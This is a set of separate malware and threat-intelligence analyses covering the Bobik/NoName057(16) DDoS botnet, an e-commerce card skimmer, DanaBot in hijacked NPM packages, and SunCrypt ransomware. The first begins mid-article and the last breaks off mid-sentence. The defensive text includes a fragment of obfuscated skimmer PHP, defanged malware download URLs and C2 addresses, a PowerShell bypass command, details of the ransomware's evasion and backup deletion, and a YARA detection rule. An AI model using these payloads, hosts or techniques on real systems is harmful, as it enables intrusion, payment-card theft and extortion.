attacks on GKN Aerospace, which is the supplier of the Northrop Grumman Corporation because the US Defense Department convened a meeting with America’s eight prime defense contractors to ensure long-term readiness to meet “Ukraine’s weapons needs”. Another global company under attack was Group 4 Securitas (G4S), which published a document assessing and exploring key elements of the conflict in Ukraine. In terms of telecommunications companies, we observed an attack on American telco company Verizon, which declared a waiver of call charges to and from Ukraine. Other attacks were more politically motivated based on government declarations of a given country. Baltic states (Lithuania, Latvia, and Estonia) were significant targets outside Ukraine of DDoS attacks carried out by the group. ### Timeline of Attacks - **June 7, 2022**: Significant DDoS attack on Estonia central bank. - **June 18, 2022**: Bobik configuration changed to target Lithuanian transportation companies after Lithuanian authorities announced a ban on transit through their territory to the Russian exclave of Kaliningrad. - **July 1, 2022**: DDoS attacks focused on Norwegian websites as retaliation for the blockade. - **July 7, 2022**: Polish sites targeted due to Poland's support for Ukraine. - **July 9, 2022**: Bobik reconfigured to target Lithuanian websites, focusing on energy companies and banks. - **July 25, 2022**: Polish government and airports attacked. - **August 5, 2022**: Polish regional and district courts targeted. - **August 9, 2022**: Finnish government institutions attacked after Finland announced their intention to join NATO. - **August 14, 2022**: Latvian financial sector attacked. - **August 16, 2022**: Second wave of attacks on the Polish justice system began. - **August 23, 2022**: Estonia’s largest news portal, Delfi, was under DDoS attack. - **August 26, 2022**: Another Estonian company, Tallink Grupp, targeted. - **August 27, 2022**: Lithuania’s ministries and transport companies attacked. - **August 29, 2022**: Ukrainian banks under DDoS attack. - **September 1 and 2, 2022**: Ukrainian schools under attack at the beginning of the new school year. - **September 3, 2022**: Polish armaments plants and Lithuanian investment companies targeted. - **September 6, 2022**: Second attempt to attack Ukrainian school institutions. The graph below shows a timeline of Bobik DDoS attacks, including successful and unsuccessful attacks from the beginning of June to mid-July 2022, captured by Avast telemetry. Finally, we inspected all hosts from the XML configuration files within our three-month observation period. The pie chart below illustrates that sites from Lithuania and Poland are the main targets of the NoName057(16) group. ## Identifying NoName057(16) We have tried identifying the hacker group controlling Bobik bots and C&C servers. It was evident that the group must be pro-Russia, so we looked for the most famous DDoS attacks. Shortly after the war in Ukraine began, a pro-Russia hacking group called Killnet appeared and began carrying out DDoS attacks against companies and governments supporting Ukraine. Bobik initially attacked websites Killnet has marked as “undesirable”. Killnet reports their DDoS attacks on their Telegram account. At first, it looked like the attacks carried out by Bobik distantly resembled Killnet’s activity, because the timeline of attacked countries was similar to the XML configurations. However, many successful DDoS attacks by Bobik were not posted by Killnet. On June 21, 2022, the Killnet group publicly thanked NoName057(16) for their support during a “special military operation”. When we finished analyzing NoName057(16)’s Telegram channel, we confirmed that NoName057(16) is responsible for the DDoS attacks performed by the Bobik bots. All the XML configurations we captured from the NoName057(16) C&C servers exactly match the posts on the Telegram channel. ## Success Rate The group only reports successful DDoS attacks on their Telegram channel. Although the reported number of successful attacks seems large, statistical information indicates the contrary. The group exclusively concentrates on DDoS attacks. They do not try to steal data or gain access to systems like other dangerous groups. Our three-month observation shows that the group’s attack success is around 40%. We compared XML configurations captured by Avast to the achievements the group posts on their Telegram channel. Moreover, there is a particular set of targets, making up ~20% of their posts on Telegram, NoName057(16) claimed they successfully attacked, but we did not match them to the targets listed in their configuration files. The likelihood of them not using all of their bots in attacks is slim. In addition to this outage, NoName057(16) declared the sites were under a continuous fourteen-day attack. This would require an extensive bot network, especially considering the group performed other attacks during the same time frame, and the websites were still offline. From what we have seen, it is unlikely that NoName057(16) has an extensive bot network. ## Impact and Protection The power of the DDoS attacks performed by NoName057(16) is debatable. At one time, they can effectively strike about thirteen URL addresses at once, judging by configuration history, including subdomains. Most of the successful attacks result in servers being down for several hours or a few days. To handle the attacks, site operators often resort to blocking queries coming from outside of their country. It is a typical and suitable solution for local servers/domains. Therefore, the DDoS impact on these domains has a minimal effect on the servers of local and smaller companies. Some operators or owners of affected servers have unregistered their domains, but these are extreme cases. The DDoS attacks carried out were more difficult to handle for some site operators of prominent and significant domains, such as banks, governments, and international companies. After a successful attack, we noticed larger companies implementing enterprise solutions, like Cloudflare or BitNinja, which can filter incoming traffic and detect DDoS attacks in most cases. The success of DDoS attacks depends on victim selection. The more “successful” attacks affected companies with simple sites, including about us, our mission, and a contact page. These types of companies do not use their web pages as the main part of their business. The group’s DDoS attack on Poznań-Ławica Airport in Poland took the site offline for 16 minutes. NoName057(16) configured Bobik bots based on the `<tasks>` shown in the screenshot below. However, affected servers very often run back online within several minutes if they implement some anti-DDoS techniques because the algorithms learn to recognize the given type of attacks. On June 23, 2022, NoName057(16) reported on Telegram that Lithuanian authorities lifted a ban on the transit of Russian cargo to Kaliningrad. The group attributes the lifting of the ban, amongst other things, to the efforts of their cyber attacks on Lithuania’s infrastructure, which is debatable at best. However, the attacks on Lithuanian servers have continued. ## Performance The botnet went into an idle state on September 1, 2022, at 6 PM UTC, and remained idle for 12 hours. The botnet was reactivated on September 2, 2022, at 4 AM UTC. The XML file sent to the bots contained empty `<tasks>`. A decline in the botnet’s performance may be a possible explanation for this. The group only posted two general posts to their Telegram channel on September 1 and 2, 2022, instead of boasting about successful attacks, our first indication the botnet might not be performing well. In fact, NoName057(16) changed targets ten times each day in the XML configurations, which is abnormal. We monitored the targets for these days, and none of the attacks were successful. Therefore, it is evident that the botnet had some trouble. Most of the sites attacked by the group have implemented anti-DDoS protections. This slowdown implies that the botnet is relatively static without many changes, such as recruiting new bots or dynamically changing bots’ IPs. A static botnet is an advantage for anti-DDoS protections because malicious traffic can be easily identified. NoName057(16) has continued to attack other easier targets since September. Only the future will reveal the Bobik botnet’s successes and failures. However, the attack’s success rate has been only around 25% since the beginning of September. ## Conclusion We investigated and analyzed malware used to carry out DDoS attacks on sites in and around Ukraine, starting in June 2022. We identified the malware as a .NET variant of a RAT called Bobik, including a DDoS module, and spreading via a bot-net-as-a-service, RedLine Stealer. The first technical part of this investigation uncovered C&C servers and the HTTP communication protocol used by the Bobik bots. We also successfully decrypted the HTTP protocol, including its parameters. This allowed us to monitor the C&C servers and collect information about the botnet architecture and XML configurations defining the DDoS targets. The second aim was to determine the bad actors behind the attacks. We identified a pro-Russian hacker group called NoName057(16) as the users or possibly even the authors of Bobik, based on the XML configurations and what the group posts to their Telegram channel. NoName057(16) focuses exclusively on DDoS attacks and looks for companies and organizations that support Ukraine or are “anti-Russian”. They do not try to steal data or gain access to the system like other dangerous groups. Therefore, we can declare that their activities are only harmful in the sense that they can lose companies’ business while their sites are offline, but attacked sites that have gone offline have luckily recovered quickly. Their activities are more annoying than dangerous. We found that the successful attacks defined by NoName057(16) make up just ~40% of all of their attack attempts. The success of their attacks depends on the quality of the targeted infrastructure. The evidence suggests that well-secured and designed servers can withstand the group’s DDoS attacks. If you are concerned your device might be infected with Bobik and supporting NoName057(16)’s efforts, we highly recommend you install security software, like Avast Antivirus, which detects, blocks, and can remove Bobik. ## IOCs The full list of IoCs is available in the IOC repository. ## Appendix ### GUIDS `http://[ip]/[request]/update?id=[sha256]&v=[version]&pr=[flag]` **[request] value** - notice: bcaa8752-51ff-4e35-8ef9-4aefbf42b482, d380f816-7412-400a-9b64-78e35dd51f6e - admin: 27bff71b-42c0-4a47-ba39-04c83f2f40bb - dropper: fb82275d-6255-4463-8261-ef65d439b83b/<file_name> **Bobik's Targets** Full list of the targets can be found in the IOC repository.
# Uncovering New Magecart Implant Attacking eCommerce If you are a credit card holder, this post could be of your interest. Defending our financial assets is always one of the top priorities in the cybersecurity community but, on the other side of the coin, it is one of the most romantic attacks performed by cyber-criminals in order to steal money. Today I’d like to share the analysis of a skimmer implant spotted in the wild. So far I am not sure hundred percent that the discovered implant would be an evolution of Magecart – since the activation scripts are quite different even if they do use Magento core infrastructure. We might be facing a new Magecart version or a new framework as well for my current understanding, notes suggestions are always welcomed. ## Disclaimer National law enforcement units have been alerted, few hours are gone after they gave me the authorization to publish this post. Please if you used your credit card in one of the following eCommerce (IoC section) consider your credit card as a no more private card: call your bank and follow the deactivation steps. Since C2 and Relays are still up and running, in order to avoid replication, the addresses have been obfuscated. I want to thank Daniele B. for giving me the first “wired eCommerce”. ## Analysis Everything starts from a vulnerable eCommerce website. The user doesn’t feel anything weird since she would normally get items into her web-chart, surfing from page to page watching and selecting items and finally deciding to check them out by registering a new account or just proceeding as a guest user. However, the attacker could abuse the eCommerce vulnerabilities introducing a nasty JavaScript sending out information (for example: Name, Address, eMail, credit card number, CVV, expiration date, and so on) to another host, belonging to the cyber criminal. From the analysis, we see an alien connection (HTTP POST) to an external source: `https://*****.]com/js/ar/ar2497.%5Dphp`. This POST carries out a quite interesting payload as partially shown in the next code section. The encrypted/encoded data lands to an external gate hosted on `*****.]com`. This is a slightly different behavior compared to the original Magecart which used to send data directly in base64 format. Mykada looks like a legit eCommerce website that could be compromised and used as a relay (one more difference from Magecart). A further investigation on such a relay shows a Magento core installation which includes the `js/index.php` providing a nice tool to dynamically build a composite JavaScript file for performance boosting and compression rates. By using such a public Magento-core functionality and by guessing file paths, we might obtain the original malicious back-end file injected from the attacker. The result follows: ``` PD9waHAgCmlmKGlzc2V0KCRfR0VUWyd0b3VjaCddKSkKJF9QT1NUWyd0b3VjaCddPSRfR0VUWyd0b3VjaCddOw ``` We are now facing an initial stage of obfuscated .php code. The following image shows how the attacker obfuscated the first stage. You might appreciate the activation variable “touch” which would activate the process in both flavors: GET and POST. Once the activation variable is found, a compressed and encoded payload is fitted into a multiple variable concatenation chain and later executed (eval). By following the reverse obfuscation order chain we will end up with having the following code. This time the attacker used more obfuscation techniques: from charset differentiation, junk code to random comments making quite hard the overall reading. But taking my time, ordering every single line, substituting variables and encoding with my favorite charset I was able to extract the decoding loop and to quickly understand the payload behavior. Indeed, once the script decodes the received payload (by rotating on charsets with hard-coded strings) from the compromised eCommerce, every stolen field is ordered into a crafted object and is sent to one more external host: `https:]//^^^^^.]su/gate/proxy`. The following code section would help us to understand the execution chain. We actually have one more host that needs to be analyzed. By taking a closer look at the used domain, we might agree that it looks like the ending proxy gate which stores data on a given database (MongoDB). Again by enumerating and seeking inside its public information, it was actually possible to spot and to enumerate the used technology to store the new malicious implant (Docker Compose to build up the infrastructure). By spotting a temporary directory – used to store temporary files between the attacker infrastructure – I was able to build up a simple monitoring script which revealed the most used compromised eCommerce. ## Attack Magnitude From the command and control host, we might observe what is actually passing through it, but we might have no idea about the overall magnitude of the infection chain since many eCommerces could have a low selling rate (rate of customers during my monitoring phase). In this case, even if they are compromised, it is very hard to discover every compromised eCommerce by using this technique: looking, converting, and importing temporary files generated every time a data leak happens (every time a user adds his credit card). So we might end up with another method. Fortunately, the host reserved a PTR (Pointer Record) to `mo-------.]fvds].ru`. The new host (`mo-------`) definitely recalls the `mag^^^^^^.]su` registered email address (`mo------@protonmail.]com`) in a unique way. It is active since 2019-07. According to URLSCAN, using the PTR record in order to understand how many known websites have links pointing to `mo-----.]fvds.]ru`, you might find something quite worrying: more than 1400 potentially infected eCommerce. Now, I am not saying that every single eCommerce in the list has been compromised, but taking randomly 3 of them (and reported in IoC section) I found the exact infection chain on each one. So potentially every eCommerce on that list (so that points to the command and control) should be checked. According to urlscan.io, most of the websites pointing to `momo--------s.]ru` respect the following geographic distribution. Most of all are US-based followed by RU, NL, and IN. While it’s hard to say that it is a targeted attack against US eCommerce websites, stats are surprisingly talkative. ## IoC The following IoC have been extracted from Command and Control as described in the Analysis section. I do have evidence that those eCommerce send credit card numbers to magesouce but I did not analyze every single eCommerce outside the “High Confidentiality”, which could be compromised using different infection chains. More potentially compromised eCommerce sites could be found, a nice unverified list (“Low Confidentiality”) follows. ### High Confidentiality Compromised: - (POST): `https://*****/js/ar/ar2497.php` - Sha256 (ar2497.php): `7a04ef8eba6e72e3e21ba9da5e1ac99e4f9022fae19dc9c794d87e4aadba1db4` - `mom*****@protonmail.]com` (email used to register c2) - `———.]com` (relay) - `https://^^^^^^^^^.]su/gate/proxy` (c2) - `mom*****.]fvds].ru` (PTR) - `http://www.]startinglineproducts.]com` - `shop.sobelathome.]com` - `shop.princessluxurybed.]com` - `http://www.nclhome.]com` - `http://www.shoprednose.]com.]au` - `http://www.plusmedical.]com.]au` - `http://www.selariadias.]com.]br` - `owners.clubwyndhamstore.]com` - `http://www.assokappa.]it` - `http://www.shogunlivraria.]com.]br` - `http://www.broadtickets.]com` - `http://www.broadticket.]com` - `http://www.siamflorist.]com` - `http://www.castmemberlinen.]com` - `bumperworksonline.]com` - `http://www.stixx.]com.]br` - `http://www.worldmarkbywyndhamstore.]com` - `tknwthunderdome.]com` - `http://www.silknaturals.]com` ### Low Confidentiality Compromised (more investigation is needed): - URL: `https://mo—&#8212;.]fvds.]ru/` - URL: `http://hotelcathedrale.]be/` - URL: `https://mag^^^^^^^^.]su/` - URL: `http://www.]americanlighter.]com/` - URL: `http://www.]turyagatea.]com/` - URL: `http://www.]dysin.]com/` - URL: `http://hotelcathedrale.]be/` - URL: `https://magesource.]su/` - URL: `http://demolicaomoveis.]com.]br/` - URL: `http://www.]zamarimarcondes.]com.]br/` - URL: `https://www.]chirobuddy.]net/` - URL: `http://hotelcathedrale.]be/` - URL: `http://flagandsymbol.]com/` - URL: `http://english-furniture.]co.]uk/` - URL: `https://shop.]horoskoper.]net/` - URL: `https://myphonetics.]com/` - URL: `https://magesource.]su/saturn/login` - URL: `http://hotelcathedrale.]be/` - URL: `http://www.]almosauto.]in/` - URL: `http://chappalwalla.]com/` - URL: `http://store.]uggtasman.]com.]au/` - URL: `http://www.]vintageindiarishikesh.]com/` - URL: `http://www.]matexbuyer.]com/` - URL: `http://hotelcathedrale.]be/` - URL: `http://www.]doreall.]com/` - URL: `https://prawnman.]com.]au/` - URL: `http://www.]autocleaningbrunssum.]nl/` - URL: `https://www.]paudicesrl.]it/` - URL: `http://www.]pejenterprisesinc.]com/` - URL: `http://luxuryjewelleryto.]com/` - URL: `http://okj.]in/` - URL: `http://hotelcathedrale.]be/` - URL: `http://aquasport.]sigmacell.]in/` - URL: `https://www.]xinginroo.]com/` - URL: `http://dhyanaa.]com/` - URL: `http://hotelcathedrale.]be/` - URL: `http://hotelcathedrale.]be/` - URL: `http://hotelcathedrale.]be/` - URL: `https://www.]arenaflorist.]com/` - URL: `https://prawnman.]com.]au/` - URL: `http://www.]officecorrect.]com/36-6.%5Dhtml` - URL: `http://hotelcathedrale.]be/` - URL: `https://medik8.]bg/` - URL: `https://www.]denimvenim.]com/` - URL: `http://flagandsymbol.]com/` - URL: `https://www.]theaugustco.]com/` - URL: `http://www.]sportlowcost.]it/` - URL: `https://www.]sunrisewholesaleinc.]com/` - URL: `http://www.]fashionaxe.]com/`
# Threat Thursday: DanaBot’s Evolution from Bank Fraud to DDoS Attacks **The BlackBerry Research & Intelligence Team** ## Summary DanaBot is an ever-evolving and prevalent threat that has been in the wild since 2018. The malware has seen a resurgence in late 2021 after it was found several times in hijacked packages of NPM, a popular JavaScript software package manager for Node.JS. Sold as a Malware-as-a-Service (MaaS) offering, DanaBot initially focused on banking fraud and information stealing. However, over the years it has matured in complexity and grown in functionality. One such functional shift was seen in late October 2021, when an affiliate using the malware dropped via the hijacked NPM packages was involved in a distributed denial-of-service (DDoS) attack against a commercial organization based in Russia. ## Technical Analysis The DanaBot malware has seen great success as a MaaS platform, allowing other threat actors to carry out their own desired malicious goals. Since its creation in 2018, threat actors who purchased the malware have been given specific botnet identification for the MaaS, known as affiliate IDs. These IDs signify different campaigns, threat actors, and potentially different targets. Throughout its life, DanaBot has been used in a wide range of campaigns, and its delivery has changed and evolved as well. ### Evolution of Delivery **Phishing and Spam** Historically, the malware was used in phishing and malspamming campaigns. DanaBot relied on social engineering tactics of varying complexity to bait victims into following unknown links attached to emails, and inadvertently downloading the malware. Over time, DanaBot has focused more on deployment via traditional malspam. This threat has had some noteworthy success since shifting tactics to using low-volume spear-phishing campaigns that target specific victims with a finer degree of complexity and social engineering, to make it seem more trustworthy to its targets. As the malware has evolved, DanaBot began to further its reach by utilizing webinjects to harvest victim email addresses. Webinjects are malicious display fields or overlays that are injected onto webpages open on the victim’s browser. These fields are filled by the user, who thinks they are filling out their regular login page, and this information is then stolen by the malware. Historically, malware such as DanaBot has displayed such fields over email, social networking, and banking log-on pages to steal these user credentials. DanaBot has since used addresses stolen by webinject to further its spam email campaigns and spread its reach. **Compromised and Cracked Websites** More recently, DanaBot has been hosted and distributed via webpages offering cracked software and applications. Cracked software is “closed-source” software-for-pay that has been exploited to allow people who use the “crack” to have full access to what would normally be paid functionality and features, without paying licensing fees or an initial up-front cost. Threat actors commonly deploy their Trojanized executables by bundling them with cracked software as a lure for victims to unknowingly download and execute malicious software. Malware that is distributed this way often targets a particular demographic of users who may be less security-conscious, such as people who are seeking software that is either illicit or illegal, depending on the jurisdiction where they live. **Compromised Packages** Late in 2021, the NPM JavaScript software package manager for Node.JS had a handful of its libraries compromised and infected with malware. It was later ascertained that the malware in question was DanaBot. In October 2021, the Cybersecurity & Infrastructure Security Agency (CISA) published a warning about malware being discovered in three versions of the NPM "ua-parser-js" package. Users who downloaded and executed the hijacked package were infected with DanaBot, along with a cryptocurrency miner. In November 2021, NPM stated via Twitter that it had been hijacked once again. A compromised account was used to publish and push malicious code to two further packages: first "coa," and then "rc." **Malicious “Rc" and "Coa" Packages** Though both coa and rc had not been updated for several years, both still receive thousands of downloads daily. The presence of malicious code in these packages was discovered by someone who had used the coa package, and then subsequently reported errors in various builds. This strange behavior prompted further investigation, which led to the discovery of the maliciously injected code. NPM released a statement explaining that all Windows® users who had recently downloaded either package should consider their systems compromised. Analyzing the contents of a compromised version of the package “rc-1.3.9,” we can see the malicious scripts added to the package. Inspecting the contents of the affected package rc-1.3.9, we found that the files “compile.bat” and “compile.js” were compromised and contained malicious code. Both compromised versions of coa and rc share identical malicious Windows Batch and JavaScript scripts. When installing, both packages will first execute and run the file compile.js via Node. On execution, this JavaScript code will launch the secondary malicious script, which is a Windows batch file (.BAT) called compile.bat. This batch file acts as a downloader for the malware. The content of compile.bat is initially obfuscated, but it can be deobfuscated to reveal the true intention of this malicious code. Once deobfuscated, we can see that it attempts to download a .DLL named "sdd.dll" from an unknown domain, and outputs it as “compile.dll.” If successful, the malicious .DLL will be executed via "Regsvr32.exe,” which is a command-line utility in Microsoft® Windows® that is commonly used for registering DLLs in the Windows Registry. **Indicator of Compromise (IoC):** pastorcrytograph[dot]at/3/sdd[dot]dll WARNING: At the time of writing, the BlackBerry Research & Intelligence Team has noted the URL above is both still active and hosting samples of DanaBot. BlackBerry is not responsible for any damage or harm incurred as a result of readers of this blog attempting to load this URL. The DLL will attempt to make contact with 185[dot]117[dot]90[dot]36:443 before eventually launching the malware once again, via rundll32.exe. The malware will then rerun using a Base64 encoded export. This export is calculated by DanaBot to determine which mode the malware is running in. ## Capabilities and Commands DanaBot is mainly used for its information-stealing functionality and modular flexibility. The malware made its last iterative change at the end of 2020, and then made additional changes in September 2021. All communication between the malware and its command-and-control (C2) server is encrypted using Advanced Encryption Standard (AES), including the following activities and commands: - Initial call-home beaconing to its C2 - Updating its C2 list - Switching to using a Tor-based C2 - Beginning information-stealing - Reporting/listing system information - Reporting/listing hardware information - Taking screenshots of victim device - Remote Access Trojan (RAT) functionality - Keylogging - Remote screen recording - Requesting updates ## DDoS In late October 2021, machines affected with samples of DanaBot that were dropped via the hijacking of ua-parser were involved in a DDoS attack. The affected devices received further malicious instructions to target a specific commercial organization based in Russia. This event highlights the flexibility of the malware beyond its historic information-stealing functionality. ## Collaboration Historically, DanaBot has not operated alone. In the past, it has worked with other malware families once on a victim’s device to add to the overall damage caused. For example, this threat has been seen working in collaboration with GootKit, which was once a popular banking Trojan first found in the wild in 2014. Though seemingly not updated since 2019, GootKit has recently become active again. There are no signs yet that point to this partnership reforging. ## Conclusion At its heart, DanaBot is a complex and modular information-stealer, focusing on harvesting victim credentials and other valued logins. The malware has the ability to perform web-injects on popular services, as well as having remote access functionality. This allows the malware to gather a wealth of information about a compromised victim’s device, which can be further used in secondary attacks. Seemingly on the decline over recent years, the past year has sparked new life and a return to the mainstream for DanaBot. This threat is part of an evolving malware family, with frequent enhancements to both communication, attack vector, and functionality. With a recent spike in activity and a new attack vector via the recent hijacking of NPM packages, it is clear that this Malware-as-a-Service is still under development. Coupled with its utilization in recent DDoS attacks and NPM hijacks, the threat of DanaBot is as prevalent as ever. **NOTE:** Users who have recently utilized NPM packages are likely to have compromised machines. They should patch such packages immediately and check for artifacts of DanaBot. ## YARA Rule The following YARA rule was authored by the BlackBerry Research & Intelligence Team to catch the threat described in this document: ```yara import "pe" import "hash" rule Mal_informationstealler_Win32_DanaBot_DLL_Nov_2021 { meta: description = "Detects DanaBot DLL drop via compromised NPM packages November 2021" author = "Blackberry Threat Research Team" date = "2021-11" license = "This Yara rule is provided under the Apache License 2.0 and open to any user or organization, as long as you use it under this license and ensure originator credit in any derivative to The BlackBerry Research & Intelligence Team" strings: $s0 = "Thin.dll" ascii wide $s1 = "Usual done" ascii wide condition: //PE File uint16(0) == 0x5a4d and //PE File size filesize < 2000KB and filesize > 1500KB and //Entry pe.entry_point == 0x154ccb and //Must have exactly 5 sections pe.number_of_sections == 5 and //All Strings all of ($s*) } ``` ## Indicators of Compromise (IoCs) **Affected NPM Packages:** - Ua-parser.js 0.7.29, 0.8.0, 1.0.0 (Available patch) - Coa – version 2.0.3 and above (Unpatched) - RC – version 1.2.9, 1.3.9 and 2.3.9 (Unpatched) **Compromised NPM Package DanaBot URL (WARNING: these are live malware sites at the time of writing):** - pastorcryptograph[dot]at/3/sdd[dot]dll - citationsherbe[dot]at/3/sdd[dot]dll **DanaBot Hosting URLs:** - hxxp://23[.]254[.]226[.]52/lots[.]exe - hxxp://45[.]147[.]231[.]79/apply[.]exe - hxxp://212[.]114[.]52[.]52/spho[.]exe - hxxp://fumiom11[.]top/downfiles/sodomy[.]exe **C2 IP Addresses:** - 185[.]117[.]90[.]36:443 - 193[.]42[.]36[.]59:443 - 193[.]56[.]146[.]53:443 - 185[.]106[.]123[.]228:443 - 192[.]119[.]110[.]73:443 - 192[.]236[.]192[.]201:443 - 88[.]150[.]227[.]98 **Compromised NPM Packages:** - rc-1.3.9.tar - 697fa153891f6df6143a85b1b62a8ad1e0b2aae5ffc924de65d7266b721e6af1 - rc-1.3.9.tgz - 485445b515455fdef701735462baf4d58653152e7a3da81d2b93d0ec8a878fb4 **Comprised NPM Scripts:** - Compile.js - 608c06ef802ad84d7d4d8c2bf497690ed6da8b5380e99b76f32feb3918738c06 - Compile.bat - eb99954657e3ae69c43c0ccb90131763030239fbd4dff18719e21dae2d6e0a93 ## BlackBerry Assistance If you’re battling this malware or a similar threat, you’ve come to the right place, regardless of your existing BlackBerry relationship. The BlackBerry Incident Response team is made up of world-class consultants dedicated to handling response and containment services for a wide range of incidents, including ransomware and Advanced Persistent Threat (APT) cases. We have a global consulting team standing by to assist you providing around-the-clock support, where required, as well as local assistance. Please contact us here: [BlackBerry Incident Response](https://www.blackberry.com/us/en/forms/cylance/handraiser/emergency-incident-response-containment). Want to learn more about cyber threat hunting? Check out the BlackBerry Research & Intelligence Team’s new book, *Finding Beacons in the Dark: A Guide to Cyber Threat Intelligence* - now available for free download. ## About The BlackBerry Research & Intelligence Team The BlackBerry Research & Intelligence team examines emerging and persistent threats, providing intelligence analysis for the benefit of defenders and the organizations they serve.
# Diving into the Sun — SunCrypt: A New Neighbour in the Ransomware Mafia The first time I heard about SunCrypt, I was just enjoying my time off preparing some stuff to get dinner ready. My colleagues sent me over some weird samples that were flagged as SunCrypt, which were also beaconing to Maze C2 infrastructure. However, they weren’t Maze but shared some similarities, and that’s basically why they did it, as they know my interest in ransomware and my personal fascination with Maze. As I was checking a couple of hashes, I saw very interesting things that made me go hands-on to investigate further, and I ended up spending a lot of time not only analyzing but also hunting and creating some detections for this malware. Initial Open Source Intelligence shows that SunCrypt made its first appearance around October 2019 and has been active since then. The SunCrypt team is active on underground forums where they look for affiliates for their program, just like the rest of ransomware operating under the RaaS model. In their advertisement in a popular forum, shared on Twitter by ShadowIntelligence, some features they offer for their product can be observed, such as crypto independency from the Windows CryptoAPI, “bypass” of 70% of the AV engines, asynchronous search and encryption, speed, etc. Additionally, the SunCrypt team provides DDoS if they consider it as part of the extortion to get the ransom paid. For some journalists and websites related to infosec, they are part of what they call “The Maze Cartel,” and they also drew some shy lines associating this team with Maze. My personal opinion: I don’t believe such a thing as a Cartel exists, but it sounds fancy. This would imply a high degree of collaboration, potential relationships, and involvement in the money-laundering circuit, extortion, and affiliation methodology. This is very different from a good or neutral relationship with potential collaborations to share resources and infrastructure. I wanted to see with my own eyes the degree of relationship and sophistication of this ransomware family. That said, to start the analysis, I grabbed two samples that are available not only in VT but also in AnyRun, and from there I started the analysis to figure out how it works and hunting more samples for code comparison. This was fundamental for me to construct a solid opinion and conclusions that I may share publicly with the community. ## SunCrypt PowerShell Loader Analysis SunCrypt ransomware has been spotted in many cases using PowerShell loaders for delivery, following the tendency marked by other groups offering ransomware service. After analyzing some of these loaders, I observed that they share some similarities or remind me of the structure and functionality of other loaders, such as Netwalker PowerShell Loader scripts. The SunCrypt loaders contain an embedded resource in plain text with two export functions that are called by the script after the compilation of the C# code, heavy obfuscation, and a lot of junk code and useless data to harden the analysis and detection. The obfuscation of the script includes arithmetical operations, encoding, and string manipulation not only for anti-analysis but probably to avoid detection by segmenting the base64 strings. Jumping to the analysis, the sample md5 `c171bcd34151cbcd48edbce13796e0ed` is a PowerShell loader containing the heavy obfuscation mentioned above and contains an embedded small PE file md5 `479712042d7ad6600cbe2d1e5bc2fa88` coded in C# that is compiled in runtime and dropped to disk. This DLL is used to assist with Process Injection of the payload by adding a class with obfuscated names for the exported functions to call the functions VirtualAlloc and EnumDesktopW. These are used to allocate memory and enumerate desktops associated with the process. The PowerShell script spawns an additional process instance of PowerShell, which is directly invoked with the following arguments after the deobfuscation on the fly of the parameters: ``` C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -ep bypass -file <filepath of the script> ``` The main structure of the script contains two heavily obfuscated payloads base64 encoded in multiple strings that are subsequently deobfuscated by multiple operations and then decoded. PowerShell uses the dropped .NET DLL to allocate memory space and copies the resultant buffers to the newly created PowerShell process. The injected bytes are consistent with shellcode and a PE32 file that are injected into PowerShell’s memory address space. To analyze the payload, the buffer containing the deobfuscated payload was dumped to disk to carve the bytes. A basic triage of the shellcode showed that it contains functions related to process injection such as VirtualAlloc and VirtualProtect, likely indicating that the shellcode is assisting the PowerShell script to leverage the injection of the payload. ## SunCrypt Payload Analysis Most analyzed samples share the same code structure and characteristics, but one of them had a simpler structure that facilitated the analysis, as the only major modification that most samples contain was the addition of more obfuscation layers. In this case, I will jump directly to the analysis of the code shared between multiple samples followed by a summarization and conclusion. From the PowerShell loader md5 `c171bcd34151cbcd48edbce13796e0ed`, the payload md5 `0a0882b8da225406cc838991b5f67d11` was dumped, and the bytes carved for analysis. This PE file is consistent with an executable file likely to be coded in C and contains capabilities to encrypt the filesystem, delete backups, and to gather and exfiltrate user and host information. One of the first noticeable differences of the sample md5 `0a0882b8da225406cc838991b5f67d11` is that it does not contain command line arguments unlike other analyzed samples like md5 `3d756f9715a65def4a302f5008b03809`, which contains multiple arguments. Most samples contain these command line arguments intended to modify the behavior of the ransomware. One of the key characteristics of SunCrypt is that it contains an embedded configuration that is likely to be inserted and then encoded by the builder. These command line arguments seen for example in md5 `0a0882b8da225406cc838991b5f67d11` that are expected share some similarities with the ones seen in other malware like Maze ransomware. SunCrypt command line arguments are obfuscated parameters, and SunCrypt uses FNV hashing to obfuscate these parameters. FNV is a non-cryptographic hash function created by Glenn Fowler, Landon Curt Noll, and Kiem-Phong Vo. FNV functions contain two primary operations: XOR and multiplication. These can be spotted by identifying the hash values for FNV Prime (0x01000193) and the FNV offset basis (0x811c9dc5). In this case, the identified version that SunCrypt is using is FNV-1a hashing. The next step the ransomware takes is to decode the configuration. This configuration added and encoded by the builder contains the following parameters. The whole section containing the configuration is decoded in multiple steps to save some of its values for its use in different routines. However, the whole configuration is decoded by multiple loops that decode the data with a single-byte XOR key `0x11`. One of the most noticeable things on the ransom note is that it is written in multiple languages including Spanish (Latin American Spanish), German, French, and English. This note contains a hardcoded identifier in hex format that is intended to be used to start negotiating the payment of the ransom along with the TOR Hidden Service URL where SunCrypt hosts its webpage and Shaming list containing the victim names, proofs, and data dumps. After the initial analysis of the configuration, its data showed that both the offset of the ransom note containing the individual key in hex format and other values that are used later are not generated on the fly, indicating that they are likely to be added by the builder during the construction process. One of the decoded details is a string in hex format that is re-encoded at a later stage and sent within the POST data that is likely to be an implant identifier for the attackers. The fact that all the data is precomputed or hardcoded is not always typical in ransomware and raised some questions in my head about the crypto used that I had to figure out later. Once the C2 are decoded, the malware looks for multiple addresses in order to save them for its use later or just continues if only one is used. After decoding the embedded configuration, it saves the C2 addresses for its use. In most samples, all the data such as function names, DLL names, and other data are dynamically loaded and obfuscated using XOR, sub, or add operations with random values likely to be inserted by the builder combined with the use of StackStrings for anti-analysis and evasion. The function in charge of deleting the Shadow Copy Volumes works in the same way, and all its steps are obfuscated. SunCrypt retrieves the system version to look for its architecture to handle this via WMI query executing the query “select * from Win32_ShadowCopy” to then delete all the available volumes. One of the most interesting things I noticed is that so far most samples create a mutex, but not all of them. In this case, the sample `3d756f9715a65def4a302f5008b03809` creates it using a hex string that was mentioned above and that is decoded during the configuration extraction. Once SunCrypt deletes the Shadow Volumes, it scans for available drives following the keyboard scheme from Q: to M:. In the case of the sample md5 `0a0882b8da225406cc838991b5f67d11`, it directly contains the hardcoded volume letters instead of using other techniques to harden detection such as incrementing loops. However, most samples like md5 `3d756f9715a65def4a302f5008b03809` contain a different technique using FNV-hashing again to obfuscate this phase, indicating that the developer team modified this to make its detection more complicated. ## File Encryption and Crypto Walkthrough SunCrypt uses a particular way 